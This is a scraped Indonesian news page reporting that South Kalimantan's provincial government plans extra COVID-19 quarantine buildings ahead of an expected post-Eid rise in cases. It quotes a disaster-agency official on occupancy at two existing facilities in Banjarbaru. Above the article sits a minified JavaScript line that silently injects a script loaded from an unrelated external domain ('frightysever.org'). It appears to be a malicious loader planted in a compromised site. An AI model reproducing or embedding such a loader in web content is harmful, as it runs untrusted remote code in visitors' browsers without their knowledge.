(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

Prediksi Lonjakan Kasus Covid-19 Usai Lebaran, Kalsel Wacanakan Tambah Gedung Karantina


KANALAKALIMANTAN.COM, BANJARBARU – Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) berencana menambah gedung karantina baru untuk warga berstatus Orang Dalam Pemantauan (ODP) dan kasus positif Covid-19 tanpa gejala.

Saat ini, tercatat ada dua gedung karantina khusus yang digunakan yakni Gedung Diklat di Jalan Ambulung dan Gedung Bapelkes. Kedua gedung karantina ini sama-sama berada di Kota Banjarbaru dan telah sebulan terakhir beroperasi.

Untuk di gedung Diklat Ambulung, fasilitas yang tersedia ada sebanyak 80 kamar dengan masing-masing kamar 2 tempat tidur. Sedangkan, di Bapelkes tersedia 160 kamar. Kedua gedung karantina ini dijaga oleh aparat keamanan dan di tempatkan masing-masing tenaga kesehatan untuk melakukan layanan selama proses karantina.

Kabid Pencegahan dan Pengendalian Bencana BPBD Kalsel Syahruddin SE, mengatakan Gugas Tugas Provinsi saat ini sedang melakukan survei lokasi untuk gedung karantina khusus tambahan baru. Adapun wacana penambahan gedung karantina baru ini merujuk pada prediksi Tim Gugus Tugas P2 Covid-19 Kalsel bahwa akan terjadi lonjakan kasus signifikan Covid-19 pasca peringatan Hari Raya Idul Fitri.

“Terlebih lagi bahwa dua gedung karantina yang saat ini beroperasi telah dihuni lebih dari separo dari kapasitas ruang yang ada. Contohnya, di gedung Diklat Ambulung sudah terisi 80 persen. Lalu, di gedung Bapelkes sudah terisi 70 orang dari kapasitas 160 kamar,” kata Syahruddin, Jumat (22/5/2020) siang.

Dikatakan Syahruddin bahwa pihaknya saat ini sedang melakukan survei lokasi untuk gedung karantina khusus tambahan. Tak hanya itu, pihaknya juga akan melakukan penambahan kapasitas kamar di dua gedung karantina yang ada.

“Saya mengajak masyarakat untuk mewaspadai orang tanpa gejala namun positif Covid. Karena itu diimbau agar mematuhi protokol pencegahan penularan Covid yang gencar disosialisasikan,” katanya.

Terakhir, Syahruddin juga berharap bagi masyarakat yang telah dinyatakan sembuh usai karantina agar dapat mensosialisasikan kepada orang di lingkungan dan sejawatnya agar tak takut apabila ingin secara sukarela menjalani karantina.(Kanalkalimantan.com/rico)

Reporter : rico
Editor : cell

 


Desy Arfianty

Recent Posts

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

8 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

8 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

9 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

10 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

11 jam ago

Nurgita Tiyas Berharap Guru Dapat Lebih Cakap Digital

KANALKALIMANTAN.COM, BANJARMASIN - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menghadiri Talkshow Literasi Digital… Read More

11 jam ago

This website uses cookies.